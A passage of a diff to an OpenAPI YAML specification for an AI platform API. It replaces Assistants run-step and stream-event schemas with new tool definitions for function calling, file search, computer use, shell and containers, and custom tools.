+ - server
+ - client
+ ToolSearchCall:
properties:
type:
- description: Always `logs`.
type: string
enum:
- - logs
+ - tool_search_call
+ description: The type of the item. Always `tool_search_call`.
+ default: tool_search_call
x-stainless-const: true
- logs:
+ id:
type: string
- description: The text output from the Code Interpreter tool call.
+ description: The unique ID of the tool search call item.
+ call_id:
+ anyOf:
+ - type: string
+ description: The unique ID of the tool search call generated by the model.
+ - type: 'null'
+ execution:
+ $ref: '#/components/schemas/ToolSearchExecutionType'
+ description: Whether tool search was executed by the server or by the client.
+ arguments:
+ description: Arguments used for the tool search call.
+ status:
+ $ref: '#/components/schemas/FunctionCallStatus'
+ description: The status of the tool search call item that was recorded.
+ created_by:
+ type: string
+ description: The identifier of the actor that created the item.
+ type: object
required:
- type
- - logs
- x-stainless-naming:
- java:
- type_name: LogsOutput
- kotlin:
- type_name: LogsOutput
- RunStepDetailsToolCallsFileSearchObject:
- title: File search tool call
- type: object
+ - id
+ - call_id
+ - execution
+ - arguments
+ - status
+ CallableToolAllowedCaller:
+ type: string
+ enum:
+ - direct
+ - programmatic
+ FunctionTool:
properties:
- id:
- type: string
- description: The ID of the tool call object.
type:
type: string
- description: The type of tool call. This is always going to be `file_search` for this type of tool call.
enum:
- - file_search
+ - function
+ description: The type of the function tool. Always `function`.
+ default: function
x-stainless-const: true
- file_search:
- type: object
- description: For now, this is always going to be an empty object.
- x-oaiTypeLabel: map
- properties:
- ranking_options:
- $ref: '#/components/schemas/RunStepDetailsToolCallsFileSearchRankingOptionsObject'
- results:
- type: array
- description: The results of the file search.
- items:
- $ref: '#/components/schemas/RunStepDetailsToolCallsFileSearchResultObject'
+ name:
+ type: string
+ description: The name of the function to call.
+ async:
+ type: boolean
+ description:
+ anyOf:
+ - type: string
+ description: A description of the function. Used by the model to determine whether or not to call the function.
+ - type: 'null'
+ parameters:
+ anyOf:
+ - additionalProperties: {}
+ type: object
+ description: A JSON schema object describing the parameters of the function.
+ x-oaiTypeLabel: map
+ - type: 'null'
+ output_schema:
+ anyOf:
+ - additionalProperties: {}
+ type: object
+ description: A JSON schema object describing the JSON value encoded in string outputs for this function.
+ x-oaiTypeLabel: map
+ - type: 'null'
+ strict:
+ anyOf:
+ - type: boolean
+ description: Whether strict parameter validation is enforced for this function tool.
+ - type: 'null'
+ defer_loading:
+ type: boolean
+ description: Whether this function is deferred and loaded via tool search.
+ allowed_callers:
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/CallableToolAllowedCaller'
+ type: array
+ description: The tool invocation context(s).
+ - type: 'null'
+ type: object
required:
- - id
- type
- - file_search
- RunStepDetailsToolCallsFileSearchRankingOptionsObject:
- title: File search tool call ranking options
+ - name
+ - strict
+ - parameters
+ title: Function
+ description: Defines a function in your own code the model can choose to call. Learn more about [function calling](https://developers.openai.com/api/docs/guides/function-calling).
+ RankerVersionType:
+ type: string
+ enum:
+ - auto
+ - default-2024-11-15
+ HybridSearchOptions:
+ properties:
+ embedding_weight:
+ type: number
+ description: The weight of the embedding in the reciprocal ranking fusion.
+ text_weight:
+ type: number
+ description: The weight of the text in the reciprocal ranking fusion.
type: object
- description: The ranking options for the file search.
+ required:
+ - embedding_weight
+ - text_weight
+ RankingOptions:
properties:
ranker:
- $ref: '#/components/schemas/FileSearchRanker'
+ $ref: '#/components/schemas/RankerVersionType'
+ description: The ranker to use for the file search.
score_threshold:
type: number
- description: The score threshold for the file search. All values must be a floating point number between 0 and 1.
- minimum: 0
- maximum: 1
- required:
- - ranker
- - score_threshold
- RunStepDetailsToolCallsFileSearchResultObject:
- title: File search tool call result
+ description: The score threshold for the file search, a number between 0 and 1. Numbers closer to 1 will attempt to return only the most relevant results, but may return fewer results.
+ hybrid_search:
+ $ref: '#/components/schemas/HybridSearchOptions'
+ description: Weights that control how reciprocal rank fusion balances semantic embedding matches versus sparse keyword matches when hybrid search is enabled.
type: object
- description: A result instance of the file search.
- x-oaiTypeLabel: map
+ required: []
+ Filters:
+ anyOf:
+ - $ref: '#/components/schemas/ComparisonFilter'
+ - $ref: '#/components/schemas/CompoundFilter'
+ FileSearchTool:
properties:
- file_id:
- type: string
- description: The ID of the file that result was found in.
- file_name:
+ type:
type: string
- description: The name of the file that result was found in.
- score:
- type: number
- description: The score of the result. All values must be a floating point number between 0 and 1.
- minimum: 0
- maximum: 1
- content:
- type: array
- description: The content of the result that was found. The content is only included if requested via the include query parameter.
+ enum:
+ - file_search
+ description: The type of the file search tool. Always `file_search`.
+ default: file_search
+ x-stainless-const: true
+ vector_store_ids:
items:
- type: object
- properties:
- type:
- type: string
- description: The type of the content.
- enum:
- - text
- x-stainless-const: true
- text:
- type: string
- description: The text content of the file.
- required:
- - file_id
- - file_name
- - score
- RunStepDetailsToolCallsFunctionObject:
+ type: string
+ type: array
+ description: The IDs of the vector stores to search.
+ max_num_results:
+ type: integer
+ description: The maximum number of results to return. This number should be between 1 and 50 inclusive.
+ ranking_options:
+ $ref: '#/components/schemas/RankingOptions'
+ description: Ranking options for search.
+ filters:
+ anyOf:
+ - $ref: '#/components/schemas/Filters'
+ description: A filter to apply.
+ - type: 'null'
type: object
- title: Function tool call
+ required:
+ - type
+ - vector_store_ids
+ title: File search
+ description: A tool that searches for relevant content from uploaded files. Learn more about the [file search tool](https://developers.openai.com/api/docs/guides/tools-file-search).
+ ComputerTool:
properties:
- id:
- type: string
- description: The ID of the tool call object.
type:
type: string
- description: The type of tool call. This is always going to be `function` for this type of tool call.
enum:
- - function
+ - computer
+ description: The type of the computer tool. Always `computer`.
+ default: computer
x-stainless-const: true
- function:
- type: object
- description: The definition of the function that was called.
- properties:
- name:
- type: string
- description: The name of the function.
- arguments:
- type: string
- description: The arguments passed to the function.
- output:
- anyOf:
- - type: string
- description: The output of the function. This will be `null` if the outputs have not been [submitted](https://developers.openai.com/api/docs/assistants/migration) yet.
- - type: 'null'
- required:
- - name
- - arguments
- - output
+ type: object
required:
- - id
- type
- - function
- RunStepDetailsToolCallsObject:
- title: Tool calls
- type: object
- description: Details of the tool call.
+ title: Computer
+ description: A tool that controls a virtual computer. Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
+ ComputerEnvironment:
+ type: string
+ enum:
+ - windows
+ - mac
+ - linux
+ - ubuntu
+ - browser
+ ComputerUsePreviewTool:
properties:
type:
- description: Always `tool_calls`.
type: string
enum:
- - tool_calls
+ - computer_use_preview
+ description: The type of the computer use tool. Always `computer_use_preview`.
+ default: computer_use_preview
x-stainless-const: true
- tool_calls:
- type: array
- description: |
- An array of tool calls the run step was involved in. These can be associated with one of three types of tools: `code_interpreter`, `file_search`, or `function`.
- items:
- $ref: '#/components/schemas/RunStepDetailsToolCall'
+ environment:
+ $ref: '#/components/schemas/ComputerEnvironment'
+ description: The type of computer environment to control.
+ display_width:
+ type: integer
+ description: The width of the computer display.
+ display_height:
+ type: integer
+ description: The height of the computer display.
+ type: object
required:
- type
- - tool_calls
- RunStepObject:
+ - environment
+ - display_width
+ - display_height
+ title: Computer use preview
+ description: A tool that controls a virtual computer. Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
+ ContainerMemoryLimit:
+ type: string
+ enum:
+ - 1g
+ - 4g
+ - 16g
+ - 64g
+ RunStepDeltaObjectDelta:
+ description: The delta containing the fields that have changed on the run step.
type: object
- title: Run steps
- description: |
- Represents a step in execution of a run.
properties:
- id:
- description: The identifier of the run step, which can be referenced in API endpoints.
- type: string
- object:
- description: The object type, which is always `thread.run.step`.
+ step_details:
+ type: object
+ description: The details of the run step.
+ anyOf:
+ - $ref: '#/components/schemas/RunStepDeltaStepDetailsMessageCreationObject'
+ - $ref: '#/components/schemas/RunStepDeltaStepDetailsToolCallsObject'
+ discriminator:
+ propertyName: type
+ ProgrammaticToolCallingParam:
+ properties:
+ type:
type: string
enum:
- - thread.run.step
+ - programmatic_tool_calling
+ description: The type of the tool. Always `programmatic_tool_calling`.
+ default: programmatic_tool_calling
x-stainless-const: true
- created_at:
- description: The Unix timestamp (in seconds) for when the run step was created.
- type: integer
- format: unixtime
- assistant_id:
- description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) associated with the run step.
- type: string
- thread_id:
- description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) that was run.
- type: string
- run_id:
- description: The ID of the [run](https://developers.openai.com/api/docs/assistants/migration) that this run step is a part of.
- type: string
+ type: object
+ required:
+ - type
+ InputFidelity:
+ type: string
+ enum:
+ - high
+ - low
+ description: Control how much effort the model will exert to match the style and features, especially facial features, of input images. This parameter is only supported for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ LocalShellToolParam:
+ properties:
type:
- description: The type of run step, which can be either `message_creation` or `tool_calls`.
type: string
enum:
- - message_creation
- - tool_calls
- status:
- description: The status of the run step, which can be either `in_progress`, `cancelled`, `failed`, `completed`, or `expired`.
+ - local_shell
+ description: The type of the local shell tool. Always `local_shell`.
+ default: local_shell
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ title: Local shell tool
+ description: A tool that allows the model to execute shell commands in a local environment.
+ ContainerAutoParam:
+ properties:
+ type:
type: string
enum:
- - in_progress
- - cancelled
- - failed
- - completed
- - expired
- step_details:
- type: object
- description: The details of the run step.
+ - container_auto
+ description: Automatically creates a container for this request
+ default: container_auto
+ x-stainless-const: true
+ file_ids:
+ items:
+ type: string
+ example: file-123
+ type: array
+ maxItems: 50
+ description: An optional list of uploaded files to make available to your code.
+ memory_limit:
anyOf:
- - $ref: '#/components/schemas/RunStepDetailsMessageCreationObject'
- - $ref: '#/components/schemas/RunStepDetailsToolCallsObject'
+ - $ref: '#/components/schemas/ContainerMemoryLimit'
+ description: The memory limit for the container.
+ - type: 'null'
+ network_policy:
discriminator:
propertyName: type
- last_error:
- anyOf:
- - type: object
- description: The last error associated with this run step. Will be `null` if there are no errors.
- properties:
- code:
- type: string
- description: One of `server_error` or `rate_limit_exceeded`.
- enum:
- - server_error
- - rate_limit_exceeded
- message:
- type: string
- description: A human-readable description of the error.
- required:
- - code
- - message
- - type: 'null'
- expired_at:
- anyOf:
- - description: The Unix timestamp (in seconds) for when the run step expired. A step is considered expired if the parent run is expired.
- type: integer
- format: unixtime
- - type: 'null'
- cancelled_at:
- anyOf:
- - description: The Unix timestamp (in seconds) for when the run step was cancelled.
- type: integer
- format: unixtime
- - type: 'null'
- failed_at:
- anyOf:
- - description: The Unix timestamp (in seconds) for when the run step failed.
- type: integer
- format: unixtime
- - type: 'null'
- completed_at:
+ description: Network access policy for the container.
anyOf:
- - description: The Unix timestamp (in seconds) for when the run step completed.
- type: integer
- format: unixtime
- - type: 'null'
- metadata:
- $ref: '#/components/schemas/Metadata'
- usage:
- $ref: '#/components/schemas/RunStepCompletionUsage'
+ - $ref: '#/components/schemas/ContainerNetworkPolicyDisabledParam'
+ - $ref: '#/components/schemas/ContainerNetworkPolicyAllowlistParam'
+ skills:
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/SkillReferenceParam'
+ - $ref: '#/components/schemas/InlineSkillParam'
+ type: array
+ maxItems: 200
+ description: An optional list of skills referenced by id or inline data.
+ type: object
required:
- - id
- - object
- - created_at
- - assistant_id
- - thread_id
- - run_id
- type
- - status
- - step_details
- - last_error
- - expired_at
- - cancelled_at
- - failed_at
- - completed_at
- - metadata
- - usage
- x-oaiMeta:
- name: The run step object
- beta: true
- example: |
- {
- "id": "step_abc123",
- "object": "thread.run.step",
- "created_at": 1699063291,
- "run_id": "run_abc123",
- "assistant_id": "asst_abc123",
- "thread_id": "thread_abc123",
- "type": "message_creation",
- "status": "completed",
- "cancelled_at": null,
- "completed_at": 1699063291,
- "expired_at": null,
- "failed_at": null,
- "last_error": null,
- "step_details": {
- "type": "message_creation",
- "message_creation": {
- "message_id": "msg_abc123"
- }
- },
- "usage": {
- "prompt_tokens": 123,
- "completion_tokens": 456,
- "total_tokens": 579
- }
- }
- RunStepStreamEvent:
- anyOf:
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.step.created
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunStepObject'
- required:
- - event
- - data
- description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is created.
- x-oaiMeta:
- dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.step.in_progress
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunStepObject'
- required:
- - event
- - data
- description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` state.
- x-oaiMeta:
- dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.step.delta
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunStepDeltaObject'
- required:
- - event
- - data
- description: Occurs when parts of a [run step](https://developers.openai.com/api/docs/assistants/migration) are being streamed.
- x-oaiMeta:
- dataDescription: '`data` is a [run step delta](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.step.completed
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunStepObject'
- required:
- - event
- - data
- description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is completed.
- x-oaiMeta:
- dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.step.failed
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunStepObject'
- required:
- - event
- - data
- description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) fails.
- x-oaiMeta:
- dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.step.cancelled
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunStepObject'
- required:
- - event
- - data
- description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is cancelled.
- x-oaiMeta:
- dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.step.expired
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunStepObject'
- required:
- - event
- - data
- description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) expires.
- x-oaiMeta:
- dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- discriminator:
- propertyName: event
- RunStreamEvent:
- anyOf:
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.created
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a new [run](https://developers.openai.com/api/docs/assistants/migration) is created.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.queued
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `queued` status.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.in_progress
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` status.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.requires_action
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `requires_action` status.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.completed
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) is completed.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.incomplete
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) ends with status `incomplete`.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.failed
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) fails.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.cancelling
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `cancelling` status.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.cancelled
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) is cancelled.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- - type: object
- properties:
- event:
- type: string
- enum:
- - thread.run.expired
- x-stainless-const: true
- data:
- $ref: '#/components/schemas/RunObject'
- required:
- - event
- - data
- description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) expires.
- x-oaiMeta:
- dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- discriminator:
- propertyName: event
- RunToolCallObject:
- type: object
- description: Tool call objects
+ LocalSkillParam:
properties:
- id:
+ name:
type: string
- description: The ID of the tool call. This ID must be referenced when you submit the tool outputs in using the [Submit tool outputs to run](https://developers.openai.com/api/docs/assistants/migration) endpoint.
- type:
+ description: The name of the skill.
+ description:
type: string
- description: The type of tool call the output is required for. For now, this is always `function`.
- enum:
- - function
- x-stainless-const: true
- function:
- type: object
- description: The function definition.
- properties:
- name:
- type: string
- description: The name of the function.
- arguments:
- type: string
- description: The arguments that the model expects you to pass to the function.
- required:
- - name
- - arguments
- required:
- - id
- - type
- - function
- ServiceTier:
- anyOf:
- - type: string
- description: |
- Specifies the processing type used for serving the request.
- - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
- - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
- - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
- - When not set, the default behavior is 'auto'.
-
- When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
- enum:
- - auto
- - default
- - flex
- - scale
- - priority
- - fast
- default: auto
- - type: 'null'
- ServiceTierResponses:
- anyOf:
- - type: string
- description: |
- Specifies the processing type used for serving the request.
- - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
- - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
- - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
- - If set to 'ultrafast', then the request will be processed with the access-controlled Ultrafast Processing service tier. This tier is currently available for `gpt-5.6-sol`; a response served through it will show `service_tier=ultrafast`.
- - When not set, the default behavior is 'auto'.
-
- When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
- enum:
- - auto
- - default
- - flex
- - scale
- - priority
- - fast
- - ultrafast
- default: auto
- - type: 'null'
- SpeechAudioDeltaEvent:
+ description: The description of the skill.
+ path:
+ type: string
+ description: The path to the directory containing the skill.
type: object
- description: Emitted for each chunk of audio data generated during speech synthesis.
+ required:
+ - name
+ - description
+ - path
+ LocalEnvironmentParam:
properties:
type:
type: string
- description: |
- The type of the event. Always `speech.audio.delta`.
enum:
- - speech.audio.delta
+ - local
+ description: Use a local computer environment.
+ default: local
x-stainless-const: true
- audio:
- type: string
- description: |
- A chunk of Base64-encoded audio data.
+ skills:
+ items:
+ $ref: '#/components/schemas/LocalSkillParam'
+ type: array
+ maxItems: 200
+ description: An optional list of skills.
+ type: object
required:
- type
- - audio
- x-oaiMeta:
- name: Stream Event (speech.audio.delta)
- group: speech
- example: |
- {
- "type": "speech.audio.delta",
- "audio": "base64-encoded-audio-data"
- }
- SpeechAudioDoneEvent:
- type: object
- description: Emitted when the speech synthesis is complete and all audio has been streamed.
+ ContainerReferenceParam:
properties:
type:
type: string
- description: |
- The type of the event. Always `speech.audio.done`.
enum:
- - speech.audio.done
+ - container_reference
+ description: References a container created with the /v1/containers endpoint
+ default: container_reference
x-stainless-const: true
- usage:
- type: object
- description: |
- Token usage statistics for the request.
- properties:
- input_tokens:
- type: integer
- description: Number of input tokens in the prompt.
- output_tokens:
- type: integer
- description: Number of output tokens generated.
- total_tokens:
- type: integer
- description: Total number of tokens used (input + output).
- required:
- - input_tokens
- - output_tokens
- - total_tokens
+ container_id:
+ type: string
+ description: The ID of the referenced container.
+ example: cntr_123
+ type: object
required:
- type
- - usage
- x-oaiMeta:
- name: Stream Event (speech.audio.done)
- group: speech
- example: |
- {
- "type": "speech.audio.done",
- "usage": {
- "input_tokens": 14,
- "output_tokens": 101,
- "total_tokens": 115
- }
- }
- SpendAlertNotificationChannel:
- type: object
- description: Email notification settings for a spend alert.
+ - container_id
+ FunctionShellToolParam:
properties:
type:
type: string
enum:
- - email
- description: The notification channel type. Currently only `email` is supported.
+ - shell
+ description: The type of the shell tool. Always `shell`.
+ default: shell
x-stainless-const: true
- recipients:
- type: array
- description: Email addresses that receive the spend alert notification.
- items:
- type: string
- subject_prefix:
+ environment:
anyOf:
- - type: string
+ - discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ContainerAutoParam'
+ - $ref: '#/components/schemas/LocalEnvironmentParam'
+ - $ref: '#/components/schemas/ContainerReferenceParam'
+ - type: 'null'
+ allowed_callers:
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/CallableToolAllowedCaller'
+ type: array
+ minItems: 1
+ description: The tool invocation context(s).
- type: 'null'
- description: Optional subject prefix for alert emails.
- required:
- - type
- - recipients
- StaticChunkingStrategy:
type: object
- additionalProperties: false
- properties:
- max_chunk_size_tokens:
- type: integer
- minimum: 100
- maximum: 4096
- description: The maximum number of tokens in each chunk. The default value is `800`. The minimum value is `100` and the maximum value is `4096`.
- chunk_overlap_tokens:
- type: integer
- description: |
- The number of tokens that overlap between chunks. The default value is `400`.
-
- Note that the overlap must not exceed half of `max_chunk_size_tokens`.
required:
- - max_chunk_size_tokens
- - chunk_overlap_tokens
- StaticChunkingStrategyRequestParam:
- type: object
- title: Static Chunking Strategy
- description: Customize your own chunking strategy by setting chunk size and chunk overlap.
- additionalProperties: false
+ - type
+ title: Shell tool
+ description: A tool that allows the model to execute shell commands.
+ CustomTextFormatParam:
properties:
type:
type: string
- description: Always `static`.
enum:
- - static
+ - text
+ description: Unconstrained text format. Always `text`.
+ default: text
x-stainless-const: true
- static:
- $ref: '#/components/schemas/StaticChunkingStrategy'
+ type: object
required:
- type
- - static
- StaticChunkingStrategyResponseParam:
- type: object
- title: Static Chunking Strategy
- additionalProperties: false
+ title: Text format
+ description: Unconstrained free-form text.
+ GrammarSyntax1:
+ type: string
+ enum:
+ - lark
+ - regex
+ CustomGrammarFormatParam:
properties:
type:
type: string
- description: Always `static`.
enum:
- - static
+ - grammar
+ description: Grammar format. Always `grammar`.
+ default: grammar
x-stainless-const: true
- static:
- $ref: '#/components/schemas/StaticChunkingStrategy'
- required:
- - type
- - static
- StopConfiguration:
- description: |
- Not supported with latest reasoning models `o3` and `o4-mini`.
-
- Up to 4 sequences where the API will stop generating further tokens. The
- returned text will not contain the stop sequence.
- anyOf:
- - type: string
- default: <|endoftext|>
- example: |2+
-
- nullable: true
- - type: array
- minItems: 1
- maxItems: 4
- items:
+ syntax:
+ $ref: '#/components/schemas/GrammarSyntax1'
+ description: The syntax of the grammar definition. One of `lark` or `regex`.
+ definition:
type: string
- example: '["\n"]'
- nullable: true
- SubmitToolOutputsRunRequest:
+ description: The grammar definition.
type: object
- additionalProperties: false
- properties:
- tool_outputs:
- description: A list of tools for which the outputs are being submitted.
- type: array
- items:
- type: object
- properties:
- tool_call_id:
- type: string
- description: The ID of the tool call in the `required_action` object within the run object the output is being submitted for.
- output:
- type: string
- description: The output of the tool call to be submitted to continue the run.
- stream:
- anyOf:
- - type: boolean
- description: |
- If `true`, returns a stream of events that happen during the Run as server-sent events, terminating when the Run enters a terminal state with a `data: [DONE]` message.
- - type: 'null'
required:
- - tool_outputs
- TextResponseFormatConfiguration:
- description: |
- An object specifying the format that the model must output.
-
- Configuring `{ "type": "json_schema" }` enables Structured Outputs,
- which ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
-
- The default format is `{ "type": "text" }` with no additional options.
-
- **Not recommended for gpt-4o and newer models:**
-
- Setting to `{ "type": "json_object" }` enables the older JSON mode, which
- ensures the message the model generates is valid JSON. Using `json_schema`
- is preferred for models that support it.
- anyOf:
- - $ref: '#/components/schemas/ResponseFormatText'
- - $ref: '#/components/schemas/TextResponseFormatJsonSchema'
- - $ref: '#/components/schemas/ResponseFormatJsonObject'
- discriminator:
- propertyName: type
- TextResponseFormatJsonSchema:
- type: object
- title: JSON schema
- description: |
- JSON Schema response format. Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
+ - type
+ - syntax
+ - definition
+ title: Grammar format
+ description: A grammar defined by the user.
+ CustomToolParam:
properties:
type:
type: string
- description: The type of response format being defined. Always `json_schema`.
enum:
- - json_schema
+ - custom
+ description: The type of the custom tool. Always `custom`.
+ default: custom
x-stainless-const: true
- description:
- type: string
- description: |
- A description of what the response format is for, used by the model to
- determine how to respond in the format.
name:
type: string
- description: |
- The name of the response format. Must be a-z, A-Z, 0-9, or contain
- underscores and dashes, with a maximum length of 64.
- schema:
- $ref: '#/components/schemas/ResponseFormatJsonSchemaSchema'
- strict:
+ description: The name of the custom tool, used to identify it in tool calls.
+ async:
+ type: boolean
+ description: Whether the tool response can be returned asynchronously versus immediately returned on next response creation.
+ description:
+ type: string
+ description: Optional description of the custom tool, used to provide more context.
+ format:
+ discriminator:
+ propertyName: type
+ description: The input format for the custom tool. Default is unconstrained text.
anyOf:
- - type: boolean
- default: false
- description: |
- Whether to enable strict schema adherence when generating the output.
- If set to true, the model will always follow the exact schema defined
- in the `schema` field. Only a subset of JSON Schema is supported when
- `strict` is `true`. To learn more, read the [Structured Outputs
- guide](https://developers.openai.com/api/docs/guides/structured-outputs).
+ - $ref: '#/components/schemas/CustomTextFormatParam'
+ - $ref: '#/components/schemas/CustomGrammarFormatParam'
+ defer_loading:
+ type: boolean
+ description: Whether this tool should be deferred and discovered via tool search.
+ allowed_callers:
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/CallableToolAllowedCaller'
+ type: array
+ minItems: 1
+ description: The tool invocation context(s).
- type: 'null'
+ type: object
required:
- type
- - schema
- name
- ThreadObject:
+ title: Custom tool
+ description: A custom tool that processes input using a specified format. Learn more about [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
+ EmptyModelParam:
+ properties: {}
type: object
- title: Thread
- description: Represents a thread that contains [messages](https://developers.openai.com/api/docs/assistants/migration).
+ required: []
+ FunctionToolParam:
properties:
- id:
- description: The identifier, which can be referenced in API endpoints.
+ name:
type: string
- object:
- description: The object type, which is always `thread`.
+ maxLength: 128
+ minLength: 1
+ pattern: ^[a-zA-Z0-9_-]+$
+ description:
+ anyOf:
+ - type: string
+ - type: 'null'
+ parameters:
+ anyOf:
+ - $ref: '#/components/schemas/EmptyModelParam'
+ - type: 'null'
+ strict:
+ anyOf:
+ - type: boolean
+ description: Whether to enforce strict parameter validation. If omitted, Responses attempts to use strict validation when the schema is compatible, and falls back to non-strict validation otherwise.
+ - type: 'null'
+ type:
type: string
enum:
- - thread
+ - function
+ default: function
x-stainless-const: true
- created_at:
- description: The Unix timestamp (in seconds) for when the thread was created.
- type: integer
- format: unixtime
- tool_resources:
+ async:
+ type: boolean
+ description: Whether the tool response can be returned asynchronously versus immediately returned on next response creation.
+ output_schema:
anyOf:
- - type: object
- description: |
- A set of resources that are made available to the assistant's tools in this thread. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
- properties:
- code_interpreter:
- type: object
- properties:
- file_ids:
- type: array
- description: |
